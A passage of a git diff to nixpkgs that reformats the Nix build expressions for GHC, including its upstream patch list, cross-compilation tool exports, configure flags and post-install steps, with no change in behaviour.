-          url = "https://github.com/haskell/unix/commit/8183e05b97ce870dd6582a3677cc82459ae566ec.patch";
-          sha256 = "17q5yyigqr5kxlwwzb95sx567ysfxlw6bp3j4ji20lz0947aw6gv";
-          stripLen = 1;
-          extraPrefix = "libraries/unix/";
-        })
+      # Determine size of time related types using hsc2hs instead of assuming CLong.
+      # Prevents failures when e.g. stat(2)ing on 32bit systems with 64bit time_t etc.
+      # https://github.com/haskell/ghcup-hs/issues/1107
+      # https://gitlab.haskell.org/ghc/ghc/-/issues/25095
+      # Note that in normal situations this shouldn't be the case since nixpkgs
+      # doesn't set -D_FILE_OFFSET_BITS=64 and friends (yet).
+      (fetchpatch {
+        name = "unix-fix-ctimeval-size-32-bit.patch";
+        url = "https://github.com/haskell/unix/commit/8183e05b97ce870dd6582a3677cc82459ae566ec.patch";
+        sha256 = "17q5yyigqr5kxlwwzb95sx567ysfxlw6bp3j4ji20lz0947aw6gv";
+        stripLen = 1;
+        extraPrefix = "libraries/unix/";
+      })
 
-        # See upstream patch at
-        # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/4885. Since we build
-        # from source distributions, the auto-generated configure script needs to be
-        # patched as well, therefore we use an in-tree patch instead of pulling the
-        # upstream patch. Don't forget to check backport status of the upstream patch
-        # when adding new GHC releases in nixpkgs.
-        ./respect-ar-path.patch
+      # See upstream patch at
+      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/4885. Since we build
+      # from source distributions, the auto-generated configure script needs to be
+      # patched as well, therefore we use an in-tree patch instead of pulling the
+      # upstream patch. Don't forget to check backport status of the upstream patch
+      # when adding new GHC releases in nixpkgs.
+      ./respect-ar-path.patch
 
-        # fix hyperlinked haddock sources: https://github.com/haskell/haddock/pull/1482
-        (fetchpatch {
-          url = "https://patch-diff.githubusercontent.com/raw/haskell/haddock/pull/1482.patch";
-          sha256 = "sha256-8w8QUCsODaTvknCDGgTfFNZa8ZmvIKaKS+2ZJZ9foYk=";
-          extraPrefix = "utils/haddock/";
-          stripLen = 1;
-        })
+      # fix hyperlinked haddock sources: https://github.com/haskell/haddock/pull/1482
+      (fetchpatch {
+        url = "https://patch-diff.githubusercontent.com/raw/haskell/haddock/pull/1482.patch";
+        sha256 = "sha256-8w8QUCsODaTvknCDGgTfFNZa8ZmvIKaKS+2ZJZ9foYk=";
+        extraPrefix = "utils/haddock/";
+        stripLen = 1;
+      })
 
-        # cabal passes incorrect --host= when cross-compiling
-        # https://github.com/haskell/cabal/issues/5887
-        (fetchpatch {
-          url = "https://raw.githubusercontent.com/input-output-hk/haskell.nix/122bd81150386867da07fdc9ad5096db6719545a/overlays/patches/ghc/cabal-host.patch";
-          sha256 = "sha256:0yd0sajgi24sc1w5m55lkg2lp6kfkgpp3lgija2c8y3cmkwfpdc1";
-        })
+      # cabal passes incorrect --host= when cross-compiling
+      # https://github.com/haskell/cabal/issues/5887
+      (fetchpatch {
+        url = "https://raw.githubusercontent.com/input-output-hk/haskell.nix/122bd81150386867da07fdc9ad5096db6719545a/overlays/patches/ghc/cabal-host.patch";
+        sha256 = "sha256:0yd0sajgi24sc1w5m55lkg2lp6kfkgpp3lgija2c8y3cmkwfpdc1";
+      })
 
-        # In order to build ghcjs packages, the Cabal of the ghc used for the ghcjs
-        # needs to be patched. Ref https://github.com/haskell/cabal/pull/7575
-        (fetchpatch {
-          url = "https://github.com/haskell/cabal/commit/369c4a0a54ad08a9e6b0d3bd303fedd7b5e5a336.patch";
-          sha256 = "120f11hwyaqa0pq9g5l1300crqij49jg0rh83hnp9sa49zfdwx1n";
-          stripLen = 3;
-          extraPrefix = "libraries/Cabal/Cabal/";
-        })
+      # In order to build ghcjs packages, the Cabal of the ghc used for the ghcjs
+      # needs to be patched. Ref https://github.com/haskell/cabal/pull/7575
+      (fetchpatch {
+        url = "https://github.com/haskell/cabal/commit/369c4a0a54ad08a9e6b0d3bd303fedd7b5e5a336.patch";
+        sha256 = "120f11hwyaqa0pq9g5l1300crqij49jg0rh83hnp9sa49zfdwx1n";
+        stripLen = 3;
+        extraPrefix = "libraries/Cabal/Cabal/";
+      })
 
-        # We need to be able to set AR_STAGE0 and LD_STAGE0 when cross-compiling
-        (fetchpatch {
-          url = "https://gitlab.haskell.org/ghc/ghc/-/commit/8f7dd5710b80906ea7a3e15b7bb56a883a49fed8.patch";
-          hash = "sha256-C636Nq2U8YOG/av7XQmG3L1rU0bmC9/7m7Hty5pm5+s=";
-        })
+      # We need to be able to set AR_STAGE0 and LD_STAGE0 when cross-compiling
+      (fetchpatch {
+        url = "https://gitlab.haskell.org/ghc/ghc/-/commit/8f7dd5710b80906ea7a3e15b7bb56a883a49fed8.patch";
+        hash = "sha256-C636Nq2U8YOG/av7XQmG3L1rU0bmC9/7m7Hty5pm5+s=";
+      })
 
-        # Backport part of <https://gitlab.haskell.org/ghc/ghc/-/merge_requests/7111> to 8.10.7
-        # The change we are interested in is that Cabal no longer sets include-dirs
-        # for the GHCi library delegating to the system search path or (in our case)
-        # cc-wrapper. Without this patch, the target libffi ends up in there (which
-        # we provide via --with-ffi-includes) which breaks bootstrapping e.g. when
-        # cross compiling GHC. Without include-dirs, cc-wrapper and splicing will
-        # correctly pick the suitable libffi out of the build environment.
-        (fetchpatch {
-          name = "ghci-no-libffi-include.patch";
-          url = "https://gitlab.haskell.org/ghc/ghc/-/commit/b2721819f391ab49871271283f32df54810c4387.patch";
-          sha256 = "1rmv3132xhxbka97v0rx7r6larx5f5nnvs4mgm9q3rmgpjyd1vf9";
-          includes = [ "libraries/ghci/ghci.cabal.in" ];
-        })
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        # Make Block.h compile with c++ compilers. Remove with the next release
-        (fetchpatch {
-          url = "https://gitlab.haskell.org/ghc/ghc/-/commit/97d0b0a367e4c6a52a17c3299439ac7de129da24.patch";
-          sha256 = "0r4zjj0bv1x1m2dgxp3adsf2xkr94fjnyj1igsivd9ilbs5ja0b5";
-        })
-      ]
-      ++ lib.optionals (stdenv.targetPlatform.isDarwin && stdenv.targetPlatform.isAarch64) [
-        # Prevent the paths module from emitting symbols that we don't use
-        # when building with separate outputs.
-        #
-        # These cause problems as they're not eliminated by GHC's dead code
-        # elimination on aarch64-darwin. (see
-        # https://github.com/NixOS/nixpkgs/issues/140774 for details).
-        ./Cabal-3.2-3.4-paths-fix-cycle-aarch64-darwin.patch
-      ];
+      # Backport part of <https://gitlab.haskell.org/ghc/ghc/-/merge_requests/7111> to 8.10.7
+      # The change we are interested in is that Cabal no longer sets include-dirs
+      # for the GHCi library delegating to the system search path or (in our case)
+      # cc-wrapper. Without this patch, the target libffi ends up in there (which
+      # we provide via --with-ffi-includes) which breaks bootstrapping e.g. when
+      # cross compiling GHC. Without include-dirs, cc-wrapper and splicing will
+      # correctly pick the suitable libffi out of the build environment.
+      (fetchpatch {
+        name = "ghci-no-libffi-include.patch";
+        url = "https://gitlab.haskell.org/ghc/ghc/-/commit/b2721819f391ab49871271283f32df54810c4387.patch";
+        sha256 = "1rmv3132xhxbka97v0rx7r6larx5f5nnvs4mgm9q3rmgpjyd1vf9";
+        includes = [ "libraries/ghci/ghci.cabal.in" ];
+      })
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      # Make Block.h compile with c++ compilers. Remove with the next release
+      (fetchpatch {
+        url = "https://gitlab.haskell.org/ghc/ghc/-/commit/97d0b0a367e4c6a52a17c3299439ac7de129da24.patch";
+        sha256 = "0r4zjj0bv1x1m2dgxp3adsf2xkr94fjnyj1igsivd9ilbs5ja0b5";
+      })
+    ]
+    ++ lib.optionals (stdenv.targetPlatform.isDarwin && stdenv.targetPlatform.isAarch64) [
+      # Prevent the paths module from emitting symbols that we don't use
+      # when building with separate outputs.
+      #
+      # These cause problems as they're not eliminated by GHC's dead code
+      # elimination on aarch64-darwin. (see
+      # https://github.com/NixOS/nixpkgs/issues/140774 for details).
+      ./Cabal-3.2-3.4-paths-fix-cycle-aarch64-darwin.patch
+    ];
 
     postPatch = "patchShebangs .";
 
     # GHC is a bit confused on its cross terminology.
     # TODO(@sternenseemann): investigate coreutils dependencies and pass absolute paths
-    preConfigure =
-      ''
-        for env in $(env | grep '^TARGET_' | sed -E 's|\+?=.*||'); do
-          export "''${env#TARGET_}=''${!env}"
-        done
-        # Stage0 (build->build) which builds stage 1
-        export GHC="${bootPkgs.ghc}/bin/ghc"
-        # GHC is a bit confused on its cross terminology, as these would normally be
-        # the *host* tools.
-        export CC="${toolPath "cc" targetCC}"
-        export CXX="${toolPath "c++" targetCC}"
-        # Use gold to work around https://sourceware.org/bugzilla/show_bug.cgi?id=16177
-        export LD="${toolPath "ld${lib.optionalString useLdGold ".gold"}" targetCC}"
-        export AS="${toolPath "as" targetCC}"
-        export AR="${toolPath "ar" targetCC}"
-        export NM="${toolPath "nm" targetCC}"
-        export RANLIB="${toolPath "ranlib" targetCC}"
-        export READELF="${toolPath "readelf" targetCC}"
-        export STRIP="${toolPath "strip" targetCC}"
-        export OBJDUMP="${toolPath "objdump" targetCC}"
-      ''
-      + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
-        export OTOOL="${toolPath "otool" targetCC}"
-        export INSTALL_NAME_TOOL="${toolPath "install_name_tool" targetCC}"
-      ''
-      + lib.optionalString useLLVM ''
-        export LLC="${lib.getBin buildTargetLlvmPackages.llvm}/bin/llc"
-        export OPT="${lib.getBin buildTargetLlvmPackages.llvm}/bin/opt"
-      ''
-      + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
-        # LLVM backend on Darwin needs clang: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/codegens.html#llvm-code-generator-fllvm
-        # The executable we specify via $CLANG is used as an assembler (exclusively, it seems, but this isn't
-        # clarified in any user facing documentation). As such, it'll be called on assembly produced by $CC
-        # which usually comes from the darwin stdenv. To prevent a situation where $CLANG doesn't understand
-        # the assembly it is given, we need to make sure that it matches the LLVM version of $CC if possible.
-        # It is unclear (at the time of writing 2024-09-01)  whether $CC should match the LLVM version we use
-        # for llc and opt which would require using a custom darwin stdenv for targetCC.
-        export CLANG="${
-          if targetCC.isClang then
-            toolPath "clang" targetCC
-          else
-            "${buildTargetLlvmPackages.clang}/bin/${buildTargetLlvmPackages.clang.targetPrefix}clang"
-        }"
-      ''
-      + ''
-        # No need for absolute paths since these tools only need to work during the build
-        export CC_STAGE0="$CC_FOR_BUILD"
-        export LD_STAGE0="$LD_FOR_BUILD"
-        export AR_STAGE0="$AR_FOR_BUILD"
+    preConfigure = ''
+      for env in $(env | grep '^TARGET_' | sed -E 's|\+?=.*||'); do
+        export "''${env#TARGET_}=''${!env}"
+      done
+      # Stage0 (build->build) which builds stage 1
+      export GHC="${bootPkgs.ghc}/bin/ghc"
+      # GHC is a bit confused on its cross terminology, as these would normally be
+      # the *host* tools.
+      export CC="${toolPath "cc" targetCC}"
+      export CXX="${toolPath "c++" targetCC}"
+      # Use gold to work around https://sourceware.org/bugzilla/show_bug.cgi?id=16177
+      export LD="${toolPath "ld${lib.optionalString useLdGold ".gold"}" targetCC}"
+      export AS="${toolPath "as" targetCC}"
+      export AR="${toolPath "ar" targetCC}"
+      export NM="${toolPath "nm" targetCC}"
+      export RANLIB="${toolPath "ranlib" targetCC}"
+      export READELF="${toolPath "readelf" targetCC}"
+      export STRIP="${toolPath "strip" targetCC}"
+      export OBJDUMP="${toolPath "objdump" targetCC}"
+    ''
+    + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
+      export OTOOL="${toolPath "otool" targetCC}"
+      export INSTALL_NAME_TOOL="${toolPath "install_name_tool" targetCC}"
+    ''
+    + lib.optionalString useLLVM ''
+      export LLC="${lib.getBin buildTargetLlvmPackages.llvm}/bin/llc"
+      export OPT="${lib.getBin buildTargetLlvmPackages.llvm}/bin/opt"
+    ''
+    + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
+      # LLVM backend on Darwin needs clang: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/codegens.html#llvm-code-generator-fllvm
+      # The executable we specify via $CLANG is used as an assembler (exclusively, it seems, but this isn't
+      # clarified in any user facing documentation). As such, it'll be called on assembly produced by $CC
+      # which usually comes from the darwin stdenv. To prevent a situation where $CLANG doesn't understand
+      # the assembly it is given, we need to make sure that it matches the LLVM version of $CC if possible.
+      # It is unclear (at the time of writing 2024-09-01)  whether $CC should match the LLVM version we use
+      # for llc and opt which would require using a custom darwin stdenv for targetCC.
+      export CLANG="${
+        if targetCC.isClang then
+          toolPath "clang" targetCC
+        else
+          "${buildTargetLlvmPackages.clang}/bin/${buildTargetLlvmPackages.clang.targetPrefix}clang"
+      }"
+    ''
+    + ''
+      # No need for absolute paths since these tools only need to work during the build
+      export CC_STAGE0="$CC_FOR_BUILD"
+      export LD_STAGE0="$LD_FOR_BUILD"
+      export AR_STAGE0="$AR_FOR_BUILD"
 
-        echo -n "${buildMK}" > mk/build.mk
-        sed -i -e 's|-isysroot /Developer/SDKs/MacOSX10.5.sdk||' configure
-      ''
-      + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-        export NIX_LDFLAGS+=" -rpath $out/lib/ghc-${version}"
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        export NIX_LDFLAGS+=" -no_dtrace_dof"
+      echo -n "${buildMK}" > mk/build.mk
+      sed -i -e 's|-isysroot /Developer/SDKs/MacOSX10.5.sdk||' configure
+    ''
+    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+      export NIX_LDFLAGS+=" -rpath $out/lib/ghc-${version}"
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      export NIX_LDFLAGS+=" -no_dtrace_dof"
 
-        # GHC tries the host xattr /usr/bin/xattr by default which fails since it expects python to be 2.7
-        export XATTR=${lib.getBin xattr}/bin/xattr
-      ''
-      + lib.optionalString targetPlatform.useAndroidPrebuilt ''
-        sed -i -e '5i ,("armv7a-unknown-linux-androideabi", ("e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64", "cortex-a8", ""))' llvm-targets
-      ''
-      + lib.optionalString targetPlatform.isMusl ''
-        echo "patching llvm-targets for musl targets..."
-        echo "Cloning these existing '*-linux-gnu*' targets:"
-        grep linux-gnu llvm-targets | sed 's/^/  /'
-        echo "(go go gadget sed)"
-        sed -i 's,\(^.*linux-\)gnu\(.*\)$,\0\n\1musl\2,' llvm-targets
-        echo "llvm-targets now contains these '*-linux-musl*' targets:"
-        grep linux-musl llvm-targets | sed 's/^/  /'
+      # GHC tries the host xattr /usr/bin/xattr by default which fails since it expects python to be 2.7
+      export XATTR=${lib.getBin xattr}/bin/xattr
+    ''
+    + lib.optionalString targetPlatform.useAndroidPrebuilt ''
+      sed -i -e '5i ,("armv7a-unknown-linux-androideabi", ("e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64", "cortex-a8", ""))' llvm-targets
+    ''
+    + lib.optionalString targetPlatform.isMusl ''
+      echo "patching llvm-targets for musl targets..."
+      echo "Cloning these existing '*-linux-gnu*' targets:"
+      grep linux-gnu llvm-targets | sed 's/^/  /'
+      echo "(go go gadget sed)"
+      sed -i 's,\(^.*linux-\)gnu\(.*\)$,\0\n\1musl\2,' llvm-targets
+      echo "llvm-targets now contains these '*-linux-musl*' targets:"
+      grep linux-musl llvm-targets | sed 's/^/  /'
 
-        echo "And now patching to preserve '-musleabi' as done with '-gnueabi'"
-        # (aclocal.m4 is actual source, but patch configure as well since we don't re-gen)
-        for x in configure aclocal.m4; do
-          substituteInPlace $x \
-            --replace '*-android*|*-gnueabi*)' \
-                      '*-android*|*-gnueabi*|*-musleabi*)'
-        done
-      '';
+      echo "And now patching to preserve '-musleabi' as done with '-gnueabi'"
+      # (aclocal.m4 is actual source, but patch configure as well since we don't re-gen)
+      for x in configure aclocal.m4; do
+        substituteInPlace $x \
+          --replace '*-android*|*-gnueabi*)' \
+                    '*-android*|*-gnueabi*|*-musleabi*)'
+      done
+    '';
 
     # Although it is usually correct to pass --host, we don't do that here because
     # GHC's usage of build, host, and target is non-standard.
@@ -475,47 +473,47 @@ stdenv.mkDerivation (
     # TODO(@Ericson2314): Always pass "--target" and always prefix.
     configurePlatforms = [
       "build"
-    ] ++ lib.optional (buildPlatform != hostPlatform || targetPlatform != hostPlatform) "target";
+    ]
+    ++ lib.optional (buildPlatform != hostPlatform || targetPlatform != hostPlatform) "target";
 
     # `--with` flags for libraries needed for RTS linker
-    configureFlags =
-      [
-        "--datadir=$doc/share/doc/ghc"
-      ]
-      ++ lib.optionals enableTerminfo [
-        "--with-curses-includes=${lib.getDev targetLibs.ncurses}/include"
-        "--with-curses-libraries=${lib.getLib targetLibs.ncurses}/lib"
-      ]
-      ++ lib.optionals (args.${libffi_name} != null) [
-        "--with-system-libffi"
-        "--with-ffi-includes=${targetLibs.libffi.dev}/include"
-        "--with-ffi-libraries=${targetLibs.libffi.out}/lib"
-      ]
-      ++ lib.optionals (targetPlatform == hostPlatform && !enableIntegerSimple) [
-        "--with-gmp-includes=${targetLibs.gmp.dev}/include"
-        "--with-gmp-libraries=${targetLibs.gmp.out}/lib"
-      ]
-      ++
-        lib.optionals
-          (targetPlatform == hostPlatform && hostPlatform.libc != "glibc" && !targetPlatform.isWindows)
-          [
-            "--with-iconv-includes=${libiconv}/include"
-            "--with-iconv-libraries=${libiconv}/lib"
-          ]
-      ++ lib.optionals (targetPlatform != hostPlatform) [
-        "--enable-bootstrap-with-devel-snapshot"
-      ]
-      ++ lib.optionals useLdGold [
-        "CFLAGS=-fuse-ld=gold"
-        "CONF_GCC_LINKER_OPTS_STAGE1=-fuse-ld=gold"
-        "CONF_GCC_LINKER_OPTS_STAGE2=-fuse-ld=gold"
-      ]
-      ++ lib.optionals (disableLargeAddressSpace) [
-        "--disable-large-address-space"
-      ]
-      ++ lib.optionals enableUnregisterised [
-        "--enable-unregisterised"
-      ];
+    configureFlags = [
+      "--datadir=$doc/share/doc/ghc"
+    ]
+    ++ lib.optionals enableTerminfo [
+      "--with-curses-includes=${lib.getDev targetLibs.ncurses}/include"
+      "--with-curses-libraries=${lib.getLib targetLibs.ncurses}/lib"
+    ]
+    ++ lib.optionals (args.${libffi_name} != null) [
+      "--with-system-libffi"
+      "--with-ffi-includes=${targetLibs.libffi.dev}/include"
+      "--with-ffi-libraries=${targetLibs.libffi.out}/lib"
+    ]
+    ++ lib.optionals (targetPlatform == hostPlatform && !enableIntegerSimple) [
+      "--with-gmp-includes=${targetLibs.gmp.dev}/include"
+      "--with-gmp-libraries=${targetLibs.gmp.out}/lib"
+    ]
+    ++
+      lib.optionals
+        (targetPlatform == hostPlatform && hostPlatform.libc != "glibc" && !targetPlatform.isWindows)
+        [
+          "--with-iconv-includes=${libiconv}/include"
+          "--with-iconv-libraries=${libiconv}/lib"
+        ]
+    ++ lib.optionals (targetPlatform != hostPlatform) [
+      "--enable-bootstrap-with-devel-snapshot"
+    ]
+    ++ lib.optionals useLdGold [
+      "CFLAGS=-fuse-ld=gold"
+      "CONF_GCC_LINKER_OPTS_STAGE1=-fuse-ld=gold"
+      "CONF_GCC_LINKER_OPTS_STAGE2=-fuse-ld=gold"
+    ]
+    ++ lib.optionals (disableLargeAddressSpace) [
+      "--disable-large-address-space"
+    ]
+    ++ lib.optionals enableUnregisterised [
+      "--enable-unregisterised"
+    ];
 
     # Make sure we never relax`$PATH` and hooks support for compatibility.
     strictDeps = true;
@@ -523,25 +521,24 @@ stdenv.mkDerivation (
     # Don’t add -liconv to LDFLAGS automatically so that GHC will add it itself.
     dontAddExtraLibs = true;
 
-    nativeBuildInputs =
-      [
-        perl
-        autoreconfHook
-        autoconf
-        automake
-        m4
-        python3
-        bootPkgs.alex
-        bootPkgs.happy
-        bootPkgs.hscolour
-        bootPkgs.ghc-settings-edit
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-        autoSignDarwinBinariesHook
-      ]
-      ++ lib.optionals enableDocs [
-        sphinx
-      ];
+    nativeBuildInputs = [
+      perl
+      autoreconfHook
+      autoconf
+      automake
+      m4
+      python3
+      bootPkgs.alex
+      bootPkgs.happy
+      bootPkgs.hscolour
+      bootPkgs.ghc-settings-edit
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+      autoSignDarwinBinariesHook
+    ]
+    ++ lib.optionals enableDocs [
+      sphinx
+    ];
 
     # Everything the stage0 compiler needs to build stage1: CC, bintools, extra libs.
     # See also GHC, {CC,LD,AR}_STAGE0 in preConfigure.
@@ -588,45 +585,44 @@ stdenv.mkDerivation (
     # Hydra which already warrants a significant speedup
     requiredSystemFeatures = [ "big-parallel" ];
 
-    postInstall =
-      ''
-        settingsFile="$out/lib/${targetPrefix}${passthru.haskellCompilerName}/settings"
+    postInstall = ''
+      settingsFile="$out/lib/${targetPrefix}${passthru.haskellCompilerName}/settings"
 
-        # Make the installed GHC use the host->target tools.
-        ghc-settings-edit "$settingsFile" \
-          "C compiler command" "${toolPath "cc" installCC}" \
-          "Haskell CPP command" "${toolPath "cc" installCC}" \
-          "C++ compiler command" "${toolPath "c++" installCC}" \
-          "ld command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
-          "Merge objects command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
-          "ar command" "${toolPath "ar" installCC}" \
-          "ranlib command" "${toolPath "ranlib" installCC}"
-      ''
-      + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
-        ghc-settings-edit "$settingsFile" \
-          "otool command" "${toolPath "otool" installCC}" \
-          "install_name_tool command" "${toolPath "install_name_tool" installCC}"
-      ''
-      + lib.optionalString useLLVM ''
-        ghc-settings-edit "$settingsFile" \
-          "LLVM llc command" "${lib.getBin llvmPackages.llvm}/bin/llc" \
-          "LLVM opt command" "${lib.getBin llvmPackages.llvm}/bin/opt"
-      ''
-      + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
-        ghc-settings-edit "$settingsFile" \
-          "LLVM clang command" "${
-            # See comment for CLANG in preConfigure
-            if installCC.isClang then
-              toolPath "clang" installCC
-            else
-              "${llvmPackages.clang}/bin/${llvmPackages.clang.targetPrefix}clang"
-          }"
-      ''
-      + ''
+      # Make the installed GHC use the host->target tools.
+      ghc-settings-edit "$settingsFile" \
+        "C compiler command" "${toolPath "cc" installCC}" \
+        "Haskell CPP command" "${toolPath "cc" installCC}" \
+        "C++ compiler command" "${toolPath "c++" installCC}" \
+        "ld command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
+        "Merge objects command" "${toolPath "ld${lib.optionalString useLdGold ".gold"}" installCC}" \
+        "ar command" "${toolPath "ar" installCC}" \
+        "ranlib command" "${toolPath "ranlib" installCC}"
+    ''
+    + lib.optionalString (stdenv.targetPlatform.linker == "cctools") ''
+      ghc-settings-edit "$settingsFile" \
+        "otool command" "${toolPath "otool" installCC}" \
+        "install_name_tool command" "${toolPath "install_name_tool" installCC}"
+    ''
+    + lib.optionalString useLLVM ''
+      ghc-settings-edit "$settingsFile" \
+        "LLVM llc command" "${lib.getBin llvmPackages.llvm}/bin/llc" \
+        "LLVM opt command" "${lib.getBin llvmPackages.llvm}/bin/opt"
+    ''
+    + lib.optionalString (useLLVM && stdenv.targetPlatform.isDarwin) ''
+      ghc-settings-edit "$settingsFile" \
+        "LLVM clang command" "${
+          # See comment for CLANG in preConfigure
+          if installCC.isClang then
+            toolPath "clang" installCC
+          else
+            "${llvmPackages.clang}/bin/${llvmPackages.clang.targetPrefix}clang"
+        }"
+    ''
+    + ''
 
-        # Install the bash completion file.
-        install -D -m 444 utils/completion/ghc.bash $out/share/bash-completion/completions/${targetPrefix}ghc
-      '';
+      # Install the bash completion file.
+      install -D -m 444 utils/completion/ghc.bash $out/share/bash-completion/completions/${targetPrefix}ghc
+    '';
 
     passthru = {
       inherit bootPkgs targetPrefix;
diff --git a/pkgs/development/compilers/ghc/8.6.5-binary.nix b/pkgs/development/compilers/ghc/8.6.5-binary.nix
index 4ed8654a0bfa..cd1d0e797eed 100644
--- a/pkgs/development/compilers/ghc/8.6.5-binary.nix
+++ b/pkgs/development/compilers/ghc/8.6.5-binary.nix
@@ -47,25 +47,24 @@ let
 
   downloadsUrl = "https://downloads.haskell.org/ghc";
 
-  runtimeDeps =
-    [
-      targetPackages.stdenv.cc
-      targetPackages.stdenv.cc.bintools
-      coreutils # for cat
-    ]
-    ++
-      lib.optionals
-        (
-          assert useLLVM -> !(llvmPackages == null);
-          useLLVM
-        )
-        [
-          (lib.getBin llvmPackages.llvm)
-        ]
-    # On darwin, we need unwrapped bintools as well (for otool)
-    ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
-      targetPackages.stdenv.cc.bintools.bintools
-    ];
+  runtimeDeps = [
+    targetPackages.stdenv.cc
+    targetPackages.stdenv.cc.bintools
+    coreutils # for cat
+  ]
+  ++
+    lib.optionals
+      (
+        assert useLLVM -> !(llvmPackages == null);
+        useLLVM
+      )
+      [
+        (lib.getBin llvmPackages.llvm)
+      ]
+  # On darwin, we need unwrapped bintools as well (for otool)
+  ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
+    targetPackages.stdenv.cc.bintools.bintools
+  ];
 
 in
 
@@ -165,14 +164,13 @@ stdenv.mkDerivation rec {
       '';
 
   configurePlatforms = [ ];
-  configureFlags =
-    [
-      "--with-gmp-includes=${lib.getDev gmp}/include"
-      # Note `--with-gmp-libraries` does nothing for GHC bindists:
-      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
-    ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
+  configureFlags = [
+    "--with-gmp-includes=${lib.getDev gmp}/include"
+    # Note `--with-gmp-libraries` does nothing for GHC bindists:
+    # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
+  ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
 
   # No building is necessary, but calling make without flags ironically
   # calls install-strip ...
diff --git a/pkgs/development/compilers/ghc/9.0.2-binary.nix b/pkgs/development/compilers/ghc/9.0.2-binary.nix
index ba52a3253e77..11fd042f34d0 100644
--- a/pkgs/development/compilers/ghc/9.0.2-binary.nix
+++ b/pkgs/development/compilers/ghc/9.0.2-binary.nix
@@ -208,19 +208,18 @@ let
 
   libEnvVar = lib.optionalString stdenv.hostPlatform.isDarwin "DY" + "LD_LIBRARY_PATH";
 
-  runtimeDeps =
-    [
-      targetPackages.stdenv.cc
-      targetPackages.stdenv.cc.bintools
-      coreutils # for cat
-    ]
-    ++ lib.optionals useLLVM [
-      (lib.getBin llvmPackages.llvm)
-    ]
-    # On darwin, we need unwrapped bintools as well (for otool)
-    ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
-      targetPackages.stdenv.cc.bintools.bintools
-    ];
+  runtimeDeps = [
+    targetPackages.stdenv.cc
+    targetPackages.stdenv.cc.bintools
+    coreutils # for cat
+  ]
+  ++ lib.optionals useLLVM [
+    (lib.getBin llvmPackages.llvm)
+  ]
+  # On darwin, we need unwrapped bintools as well (for otool)
+  ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
+    targetPackages.stdenv.cc.bintools.bintools
+  ];
 
 in
 
@@ -339,38 +338,36 @@ stdenv.mkDerivation {
   preConfigure = lib.optionalString stdenv.targetPlatform.isAarch32 "LD=ld.gold";
 
   configurePlatforms = [ ];
-  configureFlags =
-    [
-      "--with-gmp-includes=${lib.getDev gmpUsed}/include"
-      # Note `--with-gmp-libraries` does nothing for GHC bindists:
-      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
-    # From: https://github.com/NixOS/nixpkgs/pull/43369/commits
-    ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
+  configureFlags = [
+    "--with-gmp-includes=${lib.getDev gmpUsed}/include"
+    # Note `--with-gmp-libraries` does nothing for GHC bindists:
+    # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
+  # From: https://github.com/NixOS/nixpkgs/pull/43369/commits
+  ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
 
   # No building is necessary, but calling make without flags ironically
   # calls install-strip ...
   dontBuild = true;
 
   # Patch scripts to include runtime dependencies in $PATH.
-  postInstall =
-    ''
-      for i in "$out/bin/"*; do
-        test ! -h "$i" || continue
-        isScript "$i" || continue
-        sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
-      done
-    ''
-    # On Darwin, GHC doesn't install a bundled libffi.so, but instead uses the
-    # system one (see postUnpack). Due to a bug in Hadrian, the (bundled) libffi
-    # headers are installed anyways. This problem has been fixed in GHC 9.2:
-    # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/8189. While the system
-    # header should shadow the GHC installed ones, remove them to be safe.
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && binDistUsed.isHadrian or false) ''
-      echo Deleting redundant libffi headers:
-      find "$out" '(' -name ffi.h -or -name ffitarget.h ')' -print -delete
-    '';
+  postInstall = ''
+    for i in "$out/bin/"*; do
+      test ! -h "$i" || continue
+      isScript "$i" || continue
+      sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
